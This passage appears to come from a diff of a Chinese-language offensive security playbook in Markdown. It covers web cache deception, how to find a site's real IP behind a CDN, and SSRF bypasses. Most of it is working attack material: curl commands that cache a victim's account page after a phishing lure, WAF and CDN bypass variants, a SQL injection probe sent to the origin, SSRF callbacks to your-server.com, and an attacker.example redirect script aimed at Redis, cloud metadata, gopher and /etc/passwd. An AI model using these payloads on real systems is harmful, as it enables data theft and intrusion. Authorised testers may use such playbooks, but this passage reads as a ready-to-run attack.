+ ```
1719
+
1720
+ **2. 路径混淆缓存欺骗**
1721
+ _在动态页面URL后附加静态文件扩展名触发缓存_
1722
+ ```
1723
+ # 核心技巧: 在动态页面URL后添加静态文件扩展名
1724
+ # 后端将 /account/profile.css 解析为 /account (忽略不存在的路径)
1725
+ # 缓存层看到 .css 扩展名,认为是静态资源并缓存
1726
+
1727
+ # 步骤1: 构造欺骗URL(以受害者身份访问)
1728
+ curl -b "session=VICTIM_SESSION" "http://target.com/account/profile.css"
1729
+
1730
+ # 步骤2: 攻击者无需认证直接访问缓存内容
1731
+ curl "http://target.com/account/profile.css"
1732
+
1733
+ # 多种路径变体:
1734
+ curl "http://target.com/account/x.js"
1735
+ curl "http://target.com/account/x.jpg"
1736
+ curl "http://target.com/account/x.png"
1737
+ curl "http://target.com/api/user/info/x.css"
1738
+ curl "http://target.com/settings/x.svg"
1739
+ ```
1740
+
1741
+ **3. 高级缓存欺骗变体**
1742
+ _利用路径分隔符、参数和规范化差异的高级缓存欺骗_
1743
+ ```
1744
+ # 分隔符混淆(不同组件对路径分隔符理解不同):
1745
+ curl "http://target.com/account;x.css"
1746
+ curl "http://target.com/account%23x.css"
1747
+ curl "http://target.com/account%3fx.css"
1748
+
1749
+ # 参数污染:
1750
+ curl "http://target.com/account?cb=123.css"
1751
+ curl "http://target.com/account/..%2fstatic/x.css"
1752
+
1753
+ # RPO (Relative Path Overwrite):
1754
+ curl "http://target.com/account/..%2f..%2fstatic/style.css"
1755
+
1756
+ # Normalization差异:
1757
+ curl "http://target.com/account/./x.css"
1758
+ curl "http://target.com/account%2fx.css"
1759
+ ```
1760
+
1761
+ **4. 完整攻击流程验证**
1762
+ _演示从诱导缓存到窃取数据的完整攻击链_
1763
+ ```
1764
+ # 完整攻击演示:
1765
+
1766
+ # 1. 先确认动态页面包含敏感信息:
1767
+ curl -b "session=VALID_SESSION" "http://target.com/account" | grep -i "email|phone|address|token"
1768
+
1769
+ # 2. 诱导受害者访问欺骗URL(通过钓鱼邮件/消息):
1770
+ # 受害者点击: http://target.com/account/avatar.jpg
1771
+ # 这会将其/account页面(含个人信息)缓存为"图片"
1772
+
1773
+ # 3. 攻击者访问同一URL获取缓存的敏感信息:
1774
+ curl "http://target.com/account/avatar.jpg"
1775
+ # 返回受害者的账户页面(包含邮箱、手机号、地址等)
1776
+
1777
+ # 4. 验证缓存命中:
1778
+ curl -sI "http://target.com/account/avatar.jpg" | grep -i "x-cache"
1779
+ # 期望看到: X-Cache: HIT
1780
+ ```
1781
+
1782
+ **WAF/EDR 绕过变体:**
1783
+
1784
+ **1. 路径分隔符混淆**
1785
+ _利用缓存服务器与源站对分号、换行、井号等分隔符解析不一致触发缓存_
1786
+ ```
1787
+ # 利用缓存服务器对路径分隔符的差异解析
1788
+ https://target.com/account/settings;.css
1789
+ https://target.com/account/settings%0a.css
1790
+ https://target.com/account/settings%23.css
1791
+ https://target.com/account/settings%3f.css
1792
+
1793
+ # URL编码分隔符
1794
+ https://target.com/account/settings%2f.css
1795
+ https://target.com/account/settings%5c.css
1796
+ ```
1797
+
1798
+ **2. RPO相对路径覆盖**
1799
+ _利用相对路径覆盖(RPO)使浏览器请求敏感页面但缓存服务器按静态资源缓存_
1800
+ ```
1801
+ # Relative Path Overwrite
1802
+ https://target.com/account/settings/..%2f..%2fstatic/style.css
1803
+ https://target.com/account/settings/nonexistent.css
1804
+
1805
+ # 路径参数注入
1806
+ https://target.com/account/settings;param=value/test.css
1807
+ https://target.com/account/settings/test.js?_=1
1808
+
1809
+ # 不同缓存键操控
1810
+ https://target.com/account/settings HTTP/1.1
1811
+ X-Original-URL: /static/style.css
1812
+ ```
1813
+
1814
+ **3. 缓存与源站规范化差异**
1815
+ _利用CDN/反向代理与源站对URL规范化处理的差异,使缓存误缓存敏感内容_
1816
+ ```
1817
+ # Cloudflare/Varnish路径规范化差异
1818
+ https://target.com/account/settings/.css
1819
+ https://target.com/account/settings/test.avif
1820
+ https://target.com/account/settings/x.woff2
1821
+
1822
+ # 双斜杠混淆
1823
+ https://target.com//account//settings.css
1824
+ https://target.com/account/settings%252f.css
1825
+
1826
+ # 利用Vary头缺失
1827
+ curl -H "Accept: text/css" https://target.com/account/settings
1828
+ ```
1829
+
1830
+ ---
1831
+
1832
+ ### CDN绕过 `cdn-bypass`
1833
+ 绕过CDN查找真实IP
1834
+ 子类:**CDN** · tags: `cdn` `bypass` `recon`
1835
+
1836
+ **前置条件:** 目标使用CDN
1837
+
1838
+ **攻击链:**
1839
+
1840
+ **1. 历史DNS**
1841
+ _查找未使用CDN时的IP_
1842
+ ```
1843
+ # DNS历史记录查询获取真实IP:
1844
+ # 1. SecurityTrails(需要API Key):
1845
+ curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" -H "APIKEY: YOUR_KEY" | jq '.records[].values[].ip'
1846
+
1847
+ # 2. ViewDNS:
1848
+ curl -s "https://viewdns.info/iphistory/?domain=target.com"
1849
+
1850
+ # 3. DNS DB在线查询:
1851
+ # https://dnsdb.io/
1852
+ # https://securitytrails.com/
1853
+ # https://completedns.com/
1854
+
1855
+ # 4. Censys搜索:
1856
+ curl -s "https://search.censys.io/api/v2/hosts/search?q=target.com" -u "API_ID:API_SECRET"
1857
+
1858
+ # 5. 使用FOFA:
1859
+ # domain="target.com" && type="A"
1860
+
1861
+ # 6. 多地Ping对比:
1862
+ nslookup target.com 8.8.8.8
1863
+ nslookup target.com 1.1.1.1
1864
+ ```
1865
+
1866
+ **2. 邮件头**
1867
+ _查看邮件源码中的Received头_
1868
+ ```
1869
+ # 通过邮件头泄露真实IP:
1870
+ # 1. 触发目标站点发送邮件(注册/找回密码/订阅):
1871
+ curl -d "email=attacker@gmail.com" "http://target.com/forgot-password"
1872
+ curl -d "email=attacker@gmail.com" "http://target.com/subscribe"
1873
+
1874
+ # 2. 查看收到邮件的原始头(Gmail: 显示原始邮件):
1875
+ # 查找以下字段中的IP:
1876
+ # Received: from mail.target.com (203.0.113.50)
1877
+ # X-Originating-IP: [203.0.113.50]
1878
+ # Return-Path: <noreply@target.com>
1879
+
1880
+ # 3. 使用swaks发送邮件触发:
1881
+ swaks --to attacker@gmail.com --from test@target.com --server target.com
1882
+
1883
+ # 4. 分析邮件头:
1884
+ # 最底部的Received字段通常包含源服务器真实IP
1885
+
1886
+ # 5. 如果目标有RSS订阅:
1887
+ # 订阅后查看请求来源IP
1888
+ curl "http://target.com/rss" -v
1889
+ ```
1890
+
1891
+ **3. DNS历史与证书透明度查询**
1892
+ _通过DNS历史、证书透明度、搜索引擎查找CDN背后的真实IP_
1893
+ ```
1894
+ # 1. DNS历史记录查询:
1895
+ # SecurityTrails:
1896
+ curl -s "https://api.securitytrails.com/v1/history/target.com/dns/a" -H "APIKEY: YOUR_KEY" | python3 -m json.tool
1897
+
1898
+ # 在线查询:
1899
+ # https://viewdns.info/iphistory/?domain=target.com
1900
+ # https://completedns.com/dns-history/
1901
+ # https://dnshistory.org/dns-records/target.com
1902
+
1903
+ # 2. 证书透明度日志(CT Log):
1904
+ curl -s "https://crt.sh/?q=target.com&output=json" | python3 -c "import json,sys; [print(x['common_name'],x['name_value']) for x in json.load(sys.stdin)]"
1905
+
1906
+ # 3. Censys搜索:
1907
+ # https://search.censys.io/search?q=services.tls.certificates.leaf.names%3Atarget.com
1908
+
1909
+ # 4. FOFA/Shodan搜索:
1910
+ # FOFA: cert="target.com"
1911
+ # Shodan: ssl.cert.subject.cn:target.com
1912
+ ```
1913
+
1914
+ **4. 子域名与相关服务探测真实IP** _[linux]_
1915
+ _通过子域名、邮件记录、主动连接等方式发现真实IP_
1916
+ ```
1917
+ # 1. 子域名可能未经CDN:
1918
+ for sub in mail ftp ssh vpn dev staging test api admin mx; do
1919
+ ip=$(dig +short ${sub}.target.com A 2>/dev/null | head -1)
1920
+ [ -n "$ip" ] && echo "${sub}.target.com → $ip"
1921
+ done
1922
+
1923
+ # 2. MX记录(邮件服务器通常不走CDN):
1924
+ dig +short target.com MX
1925
+ dig +short $(dig +short target.com MX | awk '{print $2}') A
1926
+
1927
+ # 3. SPF记录中的IP:
1928
+ dig +short target.com TXT | grep -i "spf"
1929
+ # v=spf1 ip4:203.0.113.50 include:... → 203.0.113.50可能是真实IP
1930
+
1931
+ # 4. 触发目标服务器主动连接:
1932
+ # 在目标网站留下一个URL(如头像、webhook)指向自己的服务器
1933
+ # 查看连接IP(这是目标的出站IP,通常是真实IP):
1934
+ # nc -lvp 8888
1935
+
1936
+ # 5. SSRF利用:
1937
+ # 如果存在SSRF漏洞,让服务器连接外部获取IP
1938
+ curl "http://target.com/api/fetch?url=http://your-server.com/log-ip"
1939
+ ```
1940
+
1941
+ **5. 验证真实IP并直接访问** _[linux]_
1942
+ _验证候选IP并直接访问绕过CDN防护_
1943
+ ```
1944
+ # 1. 验证候选IP是否是真实服务器:
1945
+ REAL_IP="203.0.113.50"
1946
+
1947
+ # 直接IP访问(Host头指定域名):
1948
+ curl -sI "http://${REAL_IP}/" -H "Host: target.com"
1949
+
1950
+ # HTTPS访问(忽略证书):
1951
+ curl -sk "https://${REAL_IP}/" -H "Host: target.com"
1952
+
1953
+ # 2. 对比响应确认:
1954
+ cdn_resp=$(curl -s "https://target.com/" | md5sum)
1955
+ direct_resp=$(curl -sk "https://${REAL_IP}/" -H "Host: target.com" | md5sum)
1956
+ echo "CDN: $cdn_resp"
1957
+ echo "Direct: $direct_resp"
1958
+ [ "$cdn_resp" = "$direct_resp" ] && echo "[+] CONFIRMED: Real IP!"
1959
+
1960
+ # 3. 修改hosts绕过CDN测试:
1961
+ echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
1962
+
1963
+ # 4. 直接对真实IP进行渗透(绕过CDN的WAF):
1964
+ nmap -sV -p 1-65535 ${REAL_IP}
1965
+ # CDN的WAF通常只保护CDN入口,直接访问真实IP可绕过
1966
+ ```
1967
+
1968
+ **WAF/EDR 绕过变体:**
1969
+
1970
+ **1. 绕过CDN WAF的多种技术**
1971
+ _利用真实IP和非标端口绕过CDN的WAF防护_
1972
+ ```
1973
+ # 找到真实IP后,CDN的WAF就被完全绕过了
1974
+ # 但如果目标自身也有WAF,还需要:
1975
+
1976
+ # 1. 使用真实IP直接访问(绕过CDN WAF):
1977
+ curl -sk "https://REAL_IP/vulnerable?id=1' OR 1=1--" -H "Host: target.com"
1978
+
1979
+ # 2. 如果CDN仅对常见端口做WAF:
1980
+ # 扫描非标端口的Web服务:
1981
+ nmap -sV -p 8080,8443,8888,9090,3000,4443,8000 REAL_IP
1982
+
1983
+ # 3. IPv6绕过(CDN可能只保护IPv4):
1984
+ dig +short target.com AAAA
1985
+ curl -6 "http://[IPv6_ADDRESS]/" -H "Host: target.com"
1986
+
1987
+ # 4. 源站IP白名单探测:
1988
+ # 某些源站配置了仅允许CDN IP访问
1989
+ # 尝试伪造CDN的IP:
1990
+ curl -H "CF-Connecting-IP: 1.2.3.4" "http://REAL_IP/" -H "Host: target.com"
1991
+ curl -H "X-Forwarded-For: CDN_IP" "http://REAL_IP/" -H "Host: target.com"
1992
+ ```
1993
+
1994
+ ### SSRF 通用绕过三件套 — UA 头 / DNS 重绑定 / 302 重定向
1995
+
1996
+ 服务端做了 URL 白名单 / IP 校验 / 私网段过滤,但**校验时拉到的内容与实际请求时拉到的不是同一份**。以下三种绕过技术分别打"User-Agent 分支"、"DNS 解析时间窗"、"重定向跟随"。
1997
+
1998
+ #### 1. UA 头分支绕过(常见于头像 / 图片下载接口)
1999
+
2000
+ 后端按 `User-Agent` 分流,内部代理 / 业务客户端走"无校验"分支,普通浏览器 UA 走"严格校验"分支。
2001
+
2002
+ ```php
2003
+ <?php
2004
+ $_user_agent = $_SERVER['HTTP_USER_AGENT'];
2005
+ if (strpos($_user_agent, 'go-httpclient') !== false) {
2006
+ // 业务内部走客户端,直接跳到内部域不校验
2007
+ header("Location: http://internal.test.qq.com/flag.html");
2008
+ } else {
2009
+ // 普通用户走安全外链
2010
+ header("Location: https://example.com/public.png");
2011
+ }
2012
+ ?>
2013
+ ```
2014
+
2015
+ ```text
2016
+ # 绕过:把 UA 改成业务客户端
2017
+ curl -A "go-httpclient/1.0" "https://target.com/fetch?url=https://attacker.example/img"
2018
+ curl -A "Java/1.8.0_271" ...
2019
+ curl -A "okhttp/4.9.0" ...
2020
+ curl -A "python-requests/2.28" ...
2021
+ curl -A "PostmanRuntime/7.30" ...
2022
+
2023
+ # 看响应是否包含内部域内容(304 / Location: 内网 / 内容长度异常)即可判断分支命中
2024
+ ```
2025
+
2026
+ **典型触发点**:头像上传(URL 模式)、富文本"插入网络图片"、Webhook 配置、邮件附件预览、URL 链接预览。
2027
+
2028
+ #### 2. DNS 重绑定(TOCTOU)
2029
+
2030
+ 服务端先解析 DNS 做白名单校验,然后再次解析发起请求。**两次解析之间 DNS 记录被切换** → 校验时是公网 IP、请求时是内网 IP。
2031
+
2032
+ ```text
2033
+ # 在线 rebinder(测试环境;实战自架避免与他人冲突)
2034
+ https://lock.cmpxchg8b.com/rebinder.html?1 # 1.1.1.1 ↔ 127.0.0.1 交替
2035
+ https://lock.cmpxchg8b.com/rebinder.html?2 # 自定义 IP
2036
+
2037
+ # 关键参数
2038
+ - 设置极短 TTL(0 或 1)避免后端缓存解析
2039
+ - 使用 round-robin 把 [公网 IP, 127.0.0.1] 两条 A 记录交替返回
2040
+ - 127.0.0.1 的变种(校验逻辑只 blacklist 字面 127.0.0.1 时):
2041
+ 127.1
2042
+ 127.0.1
2043
+ 0.0.0.0
2044
+ 0
2045
+ 0x7f000001
2046
+ 2130706433 # decimal
2047
+ 017700000001 # octal
2048
+ [::1]
2049
+ [::ffff:7f00:1]
2050
+ localtest.me # 解析到 127.0.0.1 的公网域名
2051
+ spoofed.burpcollaborator.net
2052
+
2053
+ # 自建工具:singularity / dns-rebind / rbndr
2054
+ ```
2055
+
2056
+ **何时用**:
2057
+ - 后端代码出现 `parse_url + gethostbyname + 白名单 + curl_exec` 两段式
2058
+ - WAF 只看请求 URL 的字面 host,不看实际连接到的 IP
2059
+ - AWS metadata(169.254.169.254)被字面 blacklist 时
2060
+
2061
+ #### 3. 302 重定向跟随绕过
2062
+
2063
+ 服务端只对**用户提交的 URL**做校验,但 `curl --location` / `requests follow_redirects=True` 会跟随 302 跳到任意 URL。在攻击者域上挂 `header("Location: http://internal/")` 即可。
2064
+
2065
+ ```php
2066
+ <?php
2067
+ // 攻击者控制的服务 — attacker.example/redir.php
2068
+ header("Location: http://127.0.0.1:6379/"); // Redis
2069
+ // header("Location: http://169.254.169.254/latest/meta-data/"); // AWS metadata
2070
+ // header("Location: gopher://127.0.0.1:6379/_..."); // gopher 内网横向
2071
+ // header("Location: file:///etc/passwd"); // file:// 本地读
2072
+ exit;
2073
+ ```
2074
+
2075
+ ```text
2076
+ # 触发:在 SSRF 输入框填 attacker 域,后端校验通过(指向公网)→ 跟随重定向到内网
2077
+ POST /fetch HTTP/1.1
2078
+ url=https://attacker.example/redir.php
2079
+
2080
+ # 链式重定向规避协议限制:
2081
+ # 后端只允许 https → attacker.example/redir1 (https)
2082
+ # → attacker.example/redir2 (http) ← 协议切换
2083
+ # → http://127.0.0.1:6379/ ← 最终落点
2084
+ ```
2085
+
2086
+ **变种**:
2087
+ - HTTP `Refresh:` 头(部分 HTTP 客户端跟随)
2088
+ - HTML `<meta http-equiv="refresh">`(headless 渲染场景)
2089
+ - 30x 链多跳,中间穿插不同协议(http → https → http → gopher / dict / file)
2090
+
2091
+ **真实命中要点(三件套合体)**:
2092
+ 1. 用 **UA 头**找有内部分支的接口(看响应特征)
2093
+ 2. 用 **DNS 重绑定**绕过字面 IP 黑名单
2094
+ 3. 用 **302 重定向**绕过协议白名单 + 触发 gopher / file 落点
2095
+
2096
+ OOB 验证用厂商提供的 SSRF 测试平台或自架 interactsh,不要用公共 DNSLog。
2097
+
2098
+ ---